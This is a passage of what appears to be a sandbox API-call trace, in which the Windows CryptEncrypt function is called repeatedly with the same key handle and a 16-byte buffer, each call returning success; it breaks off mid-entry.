[0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.324] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.325] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.326] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.327] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 